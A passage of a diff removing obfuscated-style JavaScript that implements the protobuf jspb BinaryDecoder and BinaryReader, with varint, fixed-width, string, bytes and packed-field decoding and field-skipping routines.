- this.a = this.c = this.h = 0;
- this.v = false;
- };
- _0x1078ae.prototype.clear = _0x1078ae.prototype.clear;
- _0x1078ae.prototype.Y = function () {
- return this.b;
- };
- _0x1078ae.prototype.getBuffer = _0x1078ae.prototype.Y;
- _0x1078ae.prototype.H = function (_0x52e887, _0x76eb3b, _0x31b783) {
- this.b = _0xe55fb2(_0x52e887);
- this.h = undefined !== _0x76eb3b ? _0x76eb3b : 0;
- this.c = undefined !== _0x31b783 ? this.h + _0x31b783 : this.b.length;
- this.a = this.h;
- };
- _0x1078ae.prototype.setBlock = _0x1078ae.prototype.H;
- _0x1078ae.prototype.Db = function () {
- return this.c;
- };
- _0x1078ae.prototype.getEnd = _0x1078ae.prototype.Db;
- _0x1078ae.prototype.setEnd = function (_0x4872ea) {
- this.c = _0x4872ea;
- };
- _0x1078ae.prototype.setEnd = _0x1078ae.prototype.setEnd;
- _0x1078ae.prototype.reset = function () {
- this.a = this.h;
- };
- _0x1078ae.prototype.reset = _0x1078ae.prototype.reset;
- _0x1078ae.prototype.B = function () {
- return this.a;
- };
- _0x1078ae.prototype.getCursor = _0x1078ae.prototype.B;
- _0x1078ae.prototype.Ma = function (_0xca7fbd) {
- this.a = _0xca7fbd;
- };
- _0x1078ae.prototype.setCursor = _0x1078ae.prototype.Ma;
- _0x1078ae.prototype.advance = function (_0x35c3d0) {
- this.a += _0x35c3d0;
- _0x53e92a(this.a <= this.c);
- };
- _0x1078ae.prototype.advance = _0x1078ae.prototype.advance;
- _0x1078ae.prototype.ya = function () {
- return this.a == this.c;
- };
- _0x1078ae.prototype.atEnd = _0x1078ae.prototype.ya;
- _0x1078ae.prototype.Qb = function () {
- return this.a > this.c;
- };
- _0x1078ae.prototype.pastEnd = _0x1078ae.prototype.Qb;
- _0x1078ae.prototype.getError = function () {
- return this.v || 0 > this.a || this.a > this.c;
- };
- _0x1078ae.prototype.getError = _0x1078ae.prototype.getError;
- _0x1078ae.prototype.w = function (_0x923ed0) {
- for (var _0x2fbf25 = 128, _0x5b5531 = 0, _0xf4f291 = 0, _0x5de678 = 0; 4 > _0x5de678 && 128 <= _0x2fbf25; _0x5de678++) {
- _0x5b5531 |= (127 & (_0x2fbf25 = this.b[this.a++])) << 7 * _0x5de678;
- }
- if (128 <= _0x2fbf25 && (_0x5b5531 |= (127 & (_0x2fbf25 = this.b[this.a++])) << 28, _0xf4f291 |= (127 & _0x2fbf25) >> 4), 128 <= _0x2fbf25) {
- for (_0x5de678 = 0; 5 > _0x5de678 && 128 <= _0x2fbf25; _0x5de678++) {
- _0xf4f291 |= (127 & (_0x2fbf25 = this.b[this.a++])) << 7 * _0x5de678 + 3;
- }
- }
- if (128 > _0x2fbf25) {
- return _0x923ed0(_0x5b5531 >>> 0, _0xf4f291 >>> 0);
- }
- _0x2e10b2("Failed to read varint, encoding is invalid.");
- this.v = true;
- };
- _0x1078ae.prototype.readSplitVarint64 = _0x1078ae.prototype.w;
- _0x1078ae.prototype.ea = function (_0x5545b7) {
- return this.w(function (_0x54164d, _0x5f0a9f) {
- return _0x221496(_0x54164d, _0x5f0a9f, _0x5545b7);
- });
- };
- _0x1078ae.prototype.readSplitZigzagVarint64 = _0x1078ae.prototype.ea;
- _0x1078ae.prototype.ta = function (_0x33fc24) {
- var _0x23a41a = this.b;
- var _0x270cc5 = this.a;
- this.a += 8;
- for (var _0x327fc8 = 0, _0xe810a1 = 0, _0x1d1d69 = _0x270cc5 + 7; _0x1d1d69 >= _0x270cc5; _0x1d1d69--) {
- _0x327fc8 = _0x327fc8 << 8 | _0x23a41a[_0x1d1d69];
- _0xe810a1 = _0xe810a1 << 8 | _0x23a41a[_0x1d1d69 + 4];
- }
- return _0x33fc24(_0x327fc8, _0xe810a1);
- };
- _0x1078ae.prototype.readSplitFixed64 = _0x1078ae.prototype.ta;
- _0x1078ae.prototype.kb = function () {
- for (; 128 & this.b[this.a];) {
- this.a++;
- }
- this.a++;
- };
- _0x1078ae.prototype.skipVarint = _0x1078ae.prototype.kb;
- _0x1078ae.prototype.mb = function (_0x1e354d) {
- for (; 128 < _0x1e354d;) {
- this.a--;
- _0x1e354d >>>= 7;
- }
- this.a--;
- };
- _0x1078ae.prototype.unskipVarint = _0x1078ae.prototype.mb;
- _0x1078ae.prototype.o = function () {
- var _0x2f50c1 = this.b;
- var _0x184982 = _0x2f50c1[this.a];
- var _0x1d9880 = 127 & _0x184982;
- return 128 > _0x184982 ? (this.a += 1, _0x53e92a(this.a <= this.c), _0x1d9880) : (_0x1d9880 |= (127 & (_0x184982 = _0x2f50c1[this.a + 1])) << 7, 128 > _0x184982 ? (this.a += 2, _0x53e92a(this.a <= this.c), _0x1d9880) : (_0x1d9880 |= (127 & (_0x184982 = _0x2f50c1[this.a + 2])) << 14, 128 > _0x184982 ? (this.a += 3, _0x53e92a(this.a <= this.c), _0x1d9880) : (_0x1d9880 |= (127 & (_0x184982 = _0x2f50c1[this.a + 3])) << 21, 128 > _0x184982 ? (this.a += 4, _0x53e92a(this.a <= this.c), _0x1d9880) : (_0x1d9880 |= (15 & (_0x184982 = _0x2f50c1[this.a + 4])) << 28, 128 > _0x184982 ? (this.a += 5, _0x53e92a(this.a <= this.c), _0x1d9880 >>> 0) : (this.a += 5, 128 <= _0x2f50c1[this.a++] && 128 <= _0x2f50c1[this.a++] && 128 <= _0x2f50c1[this.a++] && 128 <= _0x2f50c1[this.a++] && 128 <= _0x2f50c1[this.a++] && _0x53e92a(false), _0x53e92a(this.a <= this.c), _0x1d9880)))));
- };
- _0x1078ae.prototype.readUnsignedVarint32 = _0x1078ae.prototype.o;
- _0x1078ae.prototype.da = function () {
- return ~~this.o();
- };
- _0x1078ae.prototype.readSignedVarint32 = _0x1078ae.prototype.da;
- _0x1078ae.prototype.O = function () {
- return this.o().toString();
- };
- _0x1078ae.prototype.Ea = function () {
- return this.da().toString();
- };
- _0x1078ae.prototype.readSignedVarint32String = _0x1078ae.prototype.Ea;
- _0x1078ae.prototype.Ia = function () {
- var _0x2a181a = this.o();
- return _0x2a181a >>> 1 ^ -(1 & _0x2a181a);
- };
- _0x1078ae.prototype.readZigzagVarint32 = _0x1078ae.prototype.Ia;
- _0x1078ae.prototype.Ga = function () {
- return this.w(_0x31371a);
- };
- _0x1078ae.prototype.readUnsignedVarint64 = _0x1078ae.prototype.Ga;
- _0x1078ae.prototype.Ha = function () {
- return this.w(_0x13e69e);
- };
- _0x1078ae.prototype.readUnsignedVarint64String = _0x1078ae.prototype.Ha;
- _0x1078ae.prototype.sa = function () {
- return this.w(_0x34764c);
- };
- _0x1078ae.prototype.readSignedVarint64 = _0x1078ae.prototype.sa;
- _0x1078ae.prototype.Fa = function () {
- return this.w(_0x31d060);
- };
- _0x1078ae.prototype.readSignedVarint64String = _0x1078ae.prototype.Fa;
- _0x1078ae.prototype.Ja = function () {
- return this.w(_0x39d4a4);
- };
- _0x1078ae.prototype.readZigzagVarint64 = _0x1078ae.prototype.Ja;
- _0x1078ae.prototype.fb = function () {
- return this.ea(_0x1a1e0b);
- };
- _0x1078ae.prototype.readZigzagVarintHash64 = _0x1078ae.prototype.fb;
- _0x1078ae.prototype.Ka = function () {
- return this.ea(_0x31d060);
- };
- _0x1078ae.prototype.readZigzagVarint64String = _0x1078ae.prototype.Ka;
- _0x1078ae.prototype.Gc = function () {
- var _0x164a0b = this.b[this.a];
- this.a += 1;
- _0x53e92a(this.a <= this.c);
- return _0x164a0b;
- };
- _0x1078ae.prototype.readUint8 = _0x1078ae.prototype.Gc;
- _0x1078ae.prototype.Ec = function () {
- var _0x1553ff = this.b[this.a];
- var _0x3b0598 = this.b[this.a + 1];
- this.a += 2;
- _0x53e92a(this.a <= this.c);
- return _0x1553ff << 0 | _0x3b0598 << 8;
- };
- _0x1078ae.prototype.readUint16 = _0x1078ae.prototype.Ec;
- _0x1078ae.prototype.m = function () {
- var _0x3f49b0 = this.b[this.a];
- var _0x4ba5a6 = this.b[this.a + 1];
- var _0x24f071 = this.b[this.a + 2];
- var _0x92391b = this.b[this.a + 3];
- this.a += 4;
- _0x53e92a(this.a <= this.c);
- return (_0x3f49b0 << 0 | _0x4ba5a6 << 8 | _0x24f071 << 16 | _0x92391b << 24) >>> 0;
- };
- _0x1078ae.prototype.readUint32 = _0x1078ae.prototype.m;
- _0x1078ae.prototype.ga = function () {
- return _0x31371a(this.m(), this.m());
- };
- _0x1078ae.prototype.readUint64 = _0x1078ae.prototype.ga;
- _0x1078ae.prototype.ha = function () {
- return _0x13e69e(this.m(), this.m());
- };
- _0x1078ae.prototype.readUint64String = _0x1078ae.prototype.ha;
- _0x1078ae.prototype.Xb = function () {
- var _0xa62d88 = this.b[this.a];
- this.a += 1;
- _0x53e92a(this.a <= this.c);
- return _0xa62d88 << 24 >> 24;
- };
- _0x1078ae.prototype.readInt8 = _0x1078ae.prototype.Xb;
- _0x1078ae.prototype.Vb = function () {
- var _0x5dc8c7 = this.b[this.a];
- var _0x2bf445 = this.b[this.a + 1];
- this.a += 2;
- _0x53e92a(this.a <= this.c);
- return (_0x5dc8c7 << 0 | _0x2bf445 << 8) << 16 >> 16;
- };
- _0x1078ae.prototype.readInt16 = _0x1078ae.prototype.Vb;
- _0x1078ae.prototype.P = function () {
- var _0x2b9813 = this.b[this.a];
- var _0x56242d = this.b[this.a + 1];
- var _0x151da2 = this.b[this.a + 2];
- var _0x6b6eca = this.b[this.a + 3];
- this.a += 4;
- _0x53e92a(this.a <= this.c);
- return _0x2b9813 << 0 | _0x56242d << 8 | _0x151da2 << 16 | _0x6b6eca << 24;
- };
- _0x1078ae.prototype.readInt32 = _0x1078ae.prototype.P;
- _0x1078ae.prototype.ba = function () {
- return _0x34764c(this.m(), this.m());
- };
- _0x1078ae.prototype.readInt64 = _0x1078ae.prototype.ba;
- _0x1078ae.prototype.ca = function () {
- return _0x31d060(this.m(), this.m());
- };
- _0x1078ae.prototype.readInt64String = _0x1078ae.prototype.ca;
- _0x1078ae.prototype.aa = function () {
- return _0x5338fd(this.m());
- };
- _0x1078ae.prototype.readFloat = _0x1078ae.prototype.aa;
- _0x1078ae.prototype.Z = function () {
- return _0x55b4e0(this.m(), this.m());
- };
- _0x1078ae.prototype.readDouble = _0x1078ae.prototype.Z;
- _0x1078ae.prototype.pa = function () {
- return !!this.b[this.a++];
- };
- _0x1078ae.prototype.readBool = _0x1078ae.prototype.pa;
- _0x1078ae.prototype.ra = function () {
- return this.da();
- };
- _0x1078ae.prototype.readEnum = _0x1078ae.prototype.ra;
- _0x1078ae.prototype.fa = function (_0x68d2d7) {
- var _0x17fd89 = this.b;
- var _0x4c6942 = this.a;
- _0x68d2d7 = _0x4c6942 + _0x68d2d7;
- for (var _0x12a815 = [], _0x2b47a3 = ""; _0x4c6942 < _0x68d2d7;) {
- var _0x345fe4 = _0x17fd89[_0x4c6942++];
- if (128 > _0x345fe4) {
- _0x12a815.push(_0x345fe4);
- } else {
- if (192 > _0x345fe4) {
- continue;
- }
- if (224 > _0x345fe4) {
- var _0x332db3 = _0x17fd89[_0x4c6942++];
- _0x12a815.push((31 & _0x345fe4) << 6 | 63 & _0x332db3);
- } else {
- if (240 > _0x345fe4) {
- _0x332db3 = _0x17fd89[_0x4c6942++];
- var _0x4da4e1 = _0x17fd89[_0x4c6942++];
- _0x12a815.push((15 & _0x345fe4) << 12 | (63 & _0x332db3) << 6 | 63 & _0x4da4e1);
- } else {
- 248 > _0x345fe4 && (_0x345fe4 = (7 & _0x345fe4) << 18 | (63 & (_0x332db3 = _0x17fd89[_0x4c6942++])) << 12 | (63 & (_0x4da4e1 = _0x17fd89[_0x4c6942++])) << 6 | 63 & _0x17fd89[_0x4c6942++], _0x345fe4 -= 65536, _0x12a815.push(55296 + (_0x345fe4 >> 10 & 1023), 56320 + (1023 & _0x345fe4)));
- }
- }
- }
- 8192 <= _0x12a815.length && (_0x2b47a3 += String.fromCharCode.apply(null, _0x12a815), _0x12a815.length = 0);
- }
- _0x2b47a3 += _0x191f1a(_0x12a815);
- this.a = _0x4c6942;
- return _0x2b47a3;
- };
- _0x1078ae.prototype.readString = _0x1078ae.prototype.fa;
- _0x1078ae.prototype.Dc = function () {
- var _0x40f056 = this.o();
- return this.fa(_0x40f056);
- };
- _0x1078ae.prototype.readStringWithLength = _0x1078ae.prototype.Dc;
- _0x1078ae.prototype.qa = function (_0x1cdd3c) {
- if (0 > _0x1cdd3c || this.a + _0x1cdd3c > this.b.length) {
- this.v = true;
- _0x2e10b2("Invalid byte length!");
- return new Uint8Array(0);
- }
- var _0x311420 = this.b.subarray(this.a, this.a + _0x1cdd3c);
- this.a += _0x1cdd3c;
- _0x53e92a(this.a <= this.c);
- return _0x311420;
- };
- _0x1078ae.prototype.readBytes = _0x1078ae.prototype.qa;
- _0x1078ae.prototype.ia = function () {
- return this.w(_0x1a1e0b);
- };
- _0x1078ae.prototype.readVarintHash64 = _0x1078ae.prototype.ia;
- _0x1078ae.prototype.$ = function () {
- var _0x597797 = this.b;
- var _0x1a3f7d = this.a;
- var _0x187f97 = _0x597797[_0x1a3f7d];
- var _0x58d921 = _0x597797[_0x1a3f7d + 1];
- var _0xe0ea36 = _0x597797[_0x1a3f7d + 2];
- var _0xdf292f = _0x597797[_0x1a3f7d + 3];
- var _0xb3e890 = _0x597797[_0x1a3f7d + 4];
- var _0x50dfc1 = _0x597797[_0x1a3f7d + 5];
- var _0x57410f = _0x597797[_0x1a3f7d + 6];
- _0x597797 = _0x597797[_0x1a3f7d + 7];
- this.a += 8;
- return String.fromCharCode(_0x187f97, _0x58d921, _0xe0ea36, _0xdf292f, _0xb3e890, _0x50dfc1, _0x57410f, _0x597797);
- };
- _0x1078ae.prototype.readFixedHash64 = _0x1078ae.prototype.$;
- _0x4851be("jspb.BinaryReader", _0x26b2ed, undefined);
- var _0x3d3635 = [];
- function _0x57fab5(_0x2029a6, _0x47171a, _0x52a9f6) {
- if (_0x3d3635.length) {
- var _0xe6204 = _0x3d3635.pop();
- _0x2029a6 && _0xe6204.a.H(_0x2029a6, _0x47171a, _0x52a9f6);
- return _0xe6204;
- }
- return new _0x26b2ed(_0x2029a6, _0x47171a, _0x52a9f6);
- }
- function _0x1f7289(_0x4063f6, _0x4ce7b4) {
- _0x53e92a(2 == _0x4063f6.b);
- var _0x245e51 = _0x4063f6.a.o();
- _0x245e51 = _0x4063f6.a.B() + _0x245e51;
- for (var _0x18e528 = []; _0x4063f6.a.B() < _0x245e51;) {
- _0x18e528.push(_0x4ce7b4.call(_0x4063f6.a));
- }
- return _0x18e528;
- }
- function _0x5a8c5c(_0xf93266, _0x1fea30, _0x213b3c, _0x342f18, _0x4f6637) {
- this.ma = _0xf93266;
- this.Ba = _0x1fea30;
- this.la = _0x213b3c;
- this.Na = _0x342f18;
- this.na = _0x4f6637;
- }
- function _0x249ec9(_0x56621d, _0x107825, _0x5503ab, _0x239d98, _0x13680f, _0x2a8c5a) {
- this.Za = _0x56621d;
- this.za = _0x107825;
- this.Aa = _0x5503ab;
- this.Wa = _0x239d98;
- this.Ab = _0x13680f;
- this.Nb = _0x2a8c5a;
- }
- function _0x1c56aa() {}
- _0x26b2ed.clearInstanceCache = function () {
- _0x3d3635 = [];
- };
- _0x26b2ed.getInstanceCacheLength = function () {
- return _0x3d3635.length;
- };
- _0x26b2ed.alloc = _0x57fab5;
- _0x26b2ed.prototype.zb = _0x57fab5;
- _0x26b2ed.prototype.alloc = _0x26b2ed.prototype.zb;
- _0x26b2ed.prototype.Ca = function () {
- this.a.clear();
- this.b = this.c = -1;
- this.h = false;
- this.v = null;
- 100 > _0x3d3635.length && _0x3d3635.push(this);
- };
- _0x26b2ed.prototype.free = _0x26b2ed.prototype.Ca;
- _0x26b2ed.prototype.Fb = function () {
- return this.O;
- };
- _0x26b2ed.prototype.getFieldCursor = _0x26b2ed.prototype.Fb;
- _0x26b2ed.prototype.B = function () {
- return this.a.B();
- };
- _0x26b2ed.prototype.getCursor = _0x26b2ed.prototype.B;
- _0x26b2ed.prototype.Y = function () {
- return this.a.Y();
- };
- _0x26b2ed.prototype.getBuffer = _0x26b2ed.prototype.Y;
- _0x26b2ed.prototype.Hb = function () {
- return this.c;
- };
- _0x26b2ed.prototype.getFieldNumber = _0x26b2ed.prototype.Hb;
- _0x26b2ed.prototype.Lb = function () {
- return this.b;
- };
- _0x26b2ed.prototype.getWireType = _0x26b2ed.prototype.Lb;
- _0x26b2ed.prototype.Mb = function () {
- return 2 == this.b;
- };
- _0x26b2ed.prototype.isDelimited = _0x26b2ed.prototype.Mb;
- _0x26b2ed.prototype.bb = function () {
- return 4 == this.b;
- };
- _0x26b2ed.prototype.isEndGroup = _0x26b2ed.prototype.bb;
- _0x26b2ed.prototype.getError = function () {
- return this.h || this.a.getError();
- };
- _0x26b2ed.prototype.getError = _0x26b2ed.prototype.getError;
- _0x26b2ed.prototype.H = function (_0x11c22f, _0x13687b, _0x49856c) {
- this.a.H(_0x11c22f, _0x13687b, _0x49856c);
- this.b = this.c = -1;
- };
- _0x26b2ed.prototype.setBlock = _0x26b2ed.prototype.H;
- _0x26b2ed.prototype.reset = function () {
- this.a.reset();
- this.b = this.c = -1;
- };
- _0x26b2ed.prototype.reset = _0x26b2ed.prototype.reset;
- _0x26b2ed.prototype.advance = function (_0x31eec6) {
- this.a.advance(_0x31eec6);
- };
- _0x26b2ed.prototype.advance = _0x26b2ed.prototype.advance;
- _0x26b2ed.prototype.oa = function () {
- if (this.a.ya()) {
- return false;
- }
- if (this.getError()) {
- _0x2e10b2("Decoder hit an error");
- return false;
- }
- this.O = this.a.B();
- var _0x2160d1 = this.a.o();
- var _0x3e21e3 = _0x2160d1 >>> 3;
- return 0 != (_0x2160d1 &= 7) && 5 != _0x2160d1 && 1 != _0x2160d1 && 2 != _0x2160d1 && 3 != _0x2160d1 && 4 != _0x2160d1 ? (_0x2e10b2("Invalid wire type: %s (at position %s)", _0x2160d1, this.O), this.h = true, false) : (this.c = _0x3e21e3, this.b = _0x2160d1, true);
- };
- _0x26b2ed.prototype.nextField = _0x26b2ed.prototype.oa;
- _0x26b2ed.prototype.Oa = function () {
- this.a.mb(this.c << 3 | this.b);
- };
- _0x26b2ed.prototype.unskipHeader = _0x26b2ed.prototype.Oa;
- _0x26b2ed.prototype.Lc = function () {
- var _0x23448c = this.c;
- for (this.Oa(); this.oa() && this.c == _0x23448c;) {
- this.C();
- }
- this.a.ya() || this.Oa();
- };
- _0x26b2ed.prototype.skipMatchingFields = _0x26b2ed.prototype.Lc;
- _0x26b2ed.prototype.lb = function () {
- 0 != this.b ? (_0x2e10b2("Invalid wire type for skipVarintField"), this.C()) : this.a.kb();
- };
- _0x26b2ed.prototype.skipVarintField = _0x26b2ed.prototype.lb;
- _0x26b2ed.prototype.gb = function () {
- if (2 != this.b) {
- _0x2e10b2("Invalid wire type for skipDelimitedField");
- this.C();
- } else {
- var _0x3fe470 = this.a.o();
- this.a.advance(_0x3fe470);
- }
- };
- _0x26b2ed.prototype.skipDelimitedField = _0x26b2ed.prototype.gb;
- _0x26b2ed.prototype.hb = function () {
- 5 != this.b ? (_0x2e10b2("Invalid wire type for skipFixed32Field"), this.C()) : this.a.advance(4);
- };
- _0x26b2ed.prototype.skipFixed32Field = _0x26b2ed.prototype.hb;
- _0x26b2ed.prototype.ib = function () {
- 1 != this.b ? (_0x2e10b2("Invalid wire type for skipFixed64Field"), this.C()) : this.a.advance(8);
- };
- _0x26b2ed.prototype.skipFixed64Field = _0x26b2ed.prototype.ib;
- _0x26b2ed.prototype.jb = function () {
- for (var _0x50b60d = this.c;;) {
- if (!this.oa()) {
- _0x2e10b2("Unmatched start-group tag: stream EOF");
- this.h = true;
- break;
- }
- if (4 == this.b) {
- this.c != _0x50b60d && (_0x2e10b2("Unmatched end-group tag"), this.h = true);
- break;
- }
- this.C();
- }
- };
- _0x26b2ed.prototype.skipGroup = _0x26b2ed.prototype.jb;
- _0x26b2ed.prototype.C = function () {
- switch (this.b) {
- case 0:
- this.lb();
- break;
- case 1:
- this.ib();
- break;
- case 2:
- this.gb();
- break;
- case 5:
- this.hb();
- break;
- case 3:
- this.jb();
- break;
- default:
- _0x2e10b2("Invalid wire encoding for field.");
- }
- };
- _0x26b2ed.prototype.skipField = _0x26b2ed.prototype.C;
- _0x26b2ed.prototype.Hc = function (_0x4ccfc4, _0x436769) {
- null === this.v && (this.v = {});
- _0x53e92a(!this.v[_0x4ccfc4]);
- this.v[_0x4ccfc4] = _0x436769;
- };
- _0x26b2ed.prototype.registerReadCallback = _0x26b2ed.prototype.Hc;
- _0x26b2ed.prototype.Ic = function (_0x3a2f3f) {
- _0x53e92a(null !== this.v);
- _0x53e92a(_0x3a2f3f = this.v[_0x3a2f3f]);
- return _0x3a2f3f(this);
- };
- _0x26b2ed.prototype.runReadCallback = _0x26b2ed.prototype.Ic;
- _0x26b2ed.prototype.Yb = function (_0x5a7c98, _0x58ffb9) {
- _0x53e92a(2 == this.b);
- var _0x489ead = this.a.c;
- var _0x5816aa = this.a.o();
- _0x5816aa = this.a.B() + _0x5816aa;
- this.a.setEnd(_0x5816aa);
- _0x58ffb9(_0x5a7c98, this);
- this.a.Ma(_0x5816aa);
- this.a.setEnd(_0x489ead);
- };
- _0x26b2ed.prototype.readMessage = _0x26b2ed.prototype.Yb;
- _0x26b2ed.prototype.Ub = function (_0x2bc43f, _0x57bbe7, _0x1750f4) {
- _0x53e92a(3 == this.b);
- _0x53e92a(this.c == _0x2bc43f);
- _0x1750f4(_0x57bbe7, this);
- this.h || 4 == this.b || (_0x2e10b2("Group submessage did not end with an END_GROUP tag"), this.h = true);
- };
- _0x26b2ed.prototype.readGroup = _0x26b2ed.prototype.Ub;
- _0x26b2ed.prototype.Gb = function () {
- _0x53e92a(2 == this.b);
- var _0x1a7fca = this.a.o();
- var _0xc862f6 = this.a.B();
- var _0x45560e = _0xc862f6 + _0x1a7fca;
- _0x1a7fca = _0x4f2d17(this.a.Y(), _0xc862f6, _0x1a7fca);
- this.a.Ma(_0x45560e);
- return _0x1a7fca;
- };
- _0x26b2ed.prototype.getFieldDecoder = _0x26b2ed.prototype.Gb;
- _0x26b2ed.prototype.P = function () {
- _0x53e92a(0 == this.b);
- return this.a.da();
- };
- _0x26b2ed.prototype.readInt32 = _0x26b2ed.prototype.P;
- _0x26b2ed.prototype.Wb = function () {
- _0x53e92a(0 == this.b);
- return this.a.Ea();
- };
- _0x26b2ed.prototype.readInt32String = _0x26b2ed.prototype.Wb;
- _0x26b2ed.prototype.ba = function () {
- _0x53e92a(0 == this.b);
- return this.a.sa();
- };
- _0x26b2ed.prototype.readInt64 = _0x26b2ed.prototype.ba;
- _0x26b2ed.prototype.ca = function () {
- _0x53e92a(0 == this.b);
- return this.a.Fa();
- };
- _0x26b2ed.prototype.readInt64String = _0x26b2ed.prototype.ca;
- _0x26b2ed.prototype.m = function () {
- _0x53e92a(0 == this.b);
- return this.a.o();
- };
- _0x26b2ed.prototype.readUint32 = _0x26b2ed.prototype.m;
- _0x26b2ed.prototype.Fc = function () {
- _0x53e92a(0 == this.b);
- return this.a.O();
- };
- _0x26b2ed.prototype.readUint32String = _0x26b2ed.prototype.Fc;
- _0x26b2ed.prototype.ga = function () {
- _0x53e92a(0 == this.b);
- return this.a.Ga();
- };
- _0x26b2ed.prototype.readUint64 = _0x26b2ed.prototype.ga;
- _0x26b2ed.prototype.ha = function () {
- _0x53e92a(0 == this.b);
- return this.a.Ha();
- };
- _0x26b2ed.prototype.readUint64String = _0x26b2ed.prototype.ha;
- _0x26b2ed.prototype.zc = function () {
- _0x53e92a(0 == this.b);
- return this.a.Ia();
- };
- _0x26b2ed.prototype.readSint32 = _0x26b2ed.prototype.zc;
- _0x26b2ed.prototype.Ac = function () {
- _0x53e92a(0 == this.b);
- return this.a.Ja();
- };
- _0x26b2ed.prototype.readSint64 = _0x26b2ed.prototype.Ac;
- _0x26b2ed.prototype.Bc = function () {
- _0x53e92a(0 == this.b);
- return this.a.Ka();
- };
- _0x26b2ed.prototype.readSint64String = _0x26b2ed.prototype.Bc;
- _0x26b2ed.prototype.Rb = function () {
- _0x53e92a(5 == this.b);
- return this.a.m();
- };
- _0x26b2ed.prototype.readFixed32 = _0x26b2ed.prototype.Rb;
- _0x26b2ed.prototype.Sb = function () {
- _0x53e92a(1 == this.b);
- return this.a.ga();
- };
- _0x26b2ed.prototype.readFixed64 = _0x26b2ed.prototype.Sb;
- _0x26b2ed.prototype.Tb = function () {
- _0x53e92a(1 == this.b);
- return this.a.ha();
- };
- _0x26b2ed.prototype.readFixed64String = _0x26b2ed.prototype.Tb;
- _0x26b2ed.prototype.vc = function () {
- _0x53e92a(5 == this.b);
- return this.a.P();
- };
- _0x26b2ed.prototype.readSfixed32 = _0x26b2ed.prototype.vc;
- _0x26b2ed.prototype.wc = function () {
- _0x53e92a(5 == this.b);
- return this.a.P().toString();
- };
- _0x26b2ed.prototype.readSfixed32String = _0x26b2ed.prototype.wc;
- _0x26b2ed.prototype.xc = function () {
- _0x53e92a(1 == this.b);
- return this.a.ba();
- };
- _0x26b2ed.prototype.readSfixed64 = _0x26b2ed.prototype.xc;
- _0x26b2ed.prototype.yc = function () {
- _0x53e92a(1 == this.b);
- return this.a.ca();
- };
- _0x26b2ed.prototype.readSfixed64String = _0x26b2ed.prototype.yc;
- _0x26b2ed.prototype.aa = function () {
- _0x53e92a(5 == this.b);
- return this.a.aa();
- };
- _0x26b2ed.prototype.readFloat = _0x26b2ed.prototype.aa;
- _0x26b2ed.prototype.Z = function () {
- _0x53e92a(1 == this.b);
- return this.a.Z();
- };
- _0x26b2ed.prototype.readDouble = _0x26b2ed.prototype.Z;
- _0x26b2ed.prototype.pa = function () {
- _0x53e92a(0 == this.b);
- return !!this.a.o();
- };
- _0x26b2ed.prototype.readBool = _0x26b2ed.prototype.pa;
- _0x26b2ed.prototype.ra = function () {
- _0x53e92a(0 == this.b);
- return this.a.sa();
- };
- _0x26b2ed.prototype.readEnum = _0x26b2ed.prototype.ra;
- _0x26b2ed.prototype.fa = function () {
- _0x53e92a(2 == this.b);
- var _0x3d4c2a = this.a.o();
- return this.a.fa(_0x3d4c2a);
- };
- _0x26b2ed.prototype.readString = _0x26b2ed.prototype.fa;
- _0x26b2ed.prototype.qa = function () {
- _0x53e92a(2 == this.b);
- var _0x29b063 = this.a.o();
- return this.a.qa(_0x29b063);
- };
- _0x26b2ed.prototype.readBytes = _0x26b2ed.prototype.qa;
- _0x26b2ed.prototype.ia = function () {
- _0x53e92a(0 == this.b);
- return this.a.ia();
- };
- _0x26b2ed.prototype.readVarintHash64 = _0x26b2ed.prototype.ia;
- _0x26b2ed.prototype.Cc = function () {
- _0x53e92a(0 == this.b);
- return this.a.fb();
- };
- _0x26b2ed.prototype.readSintHash64 = _0x26b2ed.prototype.Cc;
- _0x26b2ed.prototype.w = function (_0x2dc293) {
- _0x53e92a(0 == this.b);
- return this.a.w(_0x2dc293);
- };
- _0x26b2ed.prototype.readSplitVarint64 = _0x26b2ed.prototype.w;
- _0x26b2ed.prototype.ea = function (_0x1e9b8f) {
- _0x53e92a(0 == this.b);
- return this.a.w(function (_0x4a62a3, _0x3e701a) {
- return _0x221496(_0x4a62a3, _0x3e701a, _0x1e9b8f);
- });
- };
- _0x26b2ed.prototype.readSplitZigzagVarint64 = _0x26b2ed.prototype.ea;
- _0x26b2ed.prototype.$ = function () {
- _0x53e92a(1 == this.b);
- return this.a.$();
- };
- _0x26b2ed.prototype.readFixedHash64 = _0x26b2ed.prototype.$;
- _0x26b2ed.prototype.ta = function (_0x47dc33) {
- _0x53e92a(1 == this.b);
- return this.a.ta(_0x47dc33);
- };
- _0x26b2ed.prototype.readSplitFixed64 = _0x26b2ed.prototype.ta;
- _0x26b2ed.prototype.gc = function () {
- return _0x1f7289(this, this.a.da);
- };
- _0x26b2ed.prototype.readPackedInt32 = _0x26b2ed.prototype.gc;
- _0x26b2ed.prototype.hc = function () {
- return _0x1f7289(this, this.a.Ea);
- };
- _0x26b2ed.prototype.readPackedInt32String = _0x26b2ed.prototype.hc;
- _0x26b2ed.prototype.ic = function () {
- return _0x1f7289(this, this.a.sa);
- };
- _0x26b2ed.prototype.readPackedInt64 = _0x26b2ed.prototype.ic;
- _0x26b2ed.prototype.jc = function () {
- return _0x1f7289(this, this.a.Fa);
- };
- _0x26b2ed.prototype.readPackedInt64String = _0x26b2ed.prototype.jc;
- _0x26b2ed.prototype.qc = function () {
- return _0x1f7289(this, this.a.o);
- };
- _0x26b2ed.prototype.readPackedUint32 = _0x26b2ed.prototype.qc;
- _0x26b2ed.prototype.rc = function () {
- return _0x1f7289(this, this.a.O);
- };
- _0x26b2ed.prototype.readPackedUint32String = _0x26b2ed.prototype.rc;
- _0x26b2ed.prototype.sc = function () {
- return _0x1f7289(this, this.a.Ga);
- };
- _0x26b2ed.prototype.readPackedUint64 = _0x26b2ed.prototype.sc;
- _0x26b2ed.prototype.tc = function () {
- return _0x1f7289(this, this.a.Ha);
- };
- _0x26b2ed.prototype.readPackedUint64String = _0x26b2ed.prototype.tc;
- _0x26b2ed.prototype.nc = function () {
- return _0x1f7289(this, this.a.Ia);
- };
- _0x26b2ed.prototype.readPackedSint32 = _0x26b2ed.prototype.nc;
- _0x26b2ed.prototype.oc = function () {
- return _0x1f7289(this, this.a.Ja);
- };
- _0x26b2ed.prototype.readPackedSint64 = _0x26b2ed.prototype.oc;
- _0x26b2ed.prototype.pc = function () {
- return _0x1f7289(this, this.a.Ka);
- };
- _0x26b2ed.prototype.readPackedSint64String = _0x26b2ed.prototype.pc;
- _0x26b2ed.prototype.bc = function () {
- return _0x1f7289(this, this.a.m);
- };
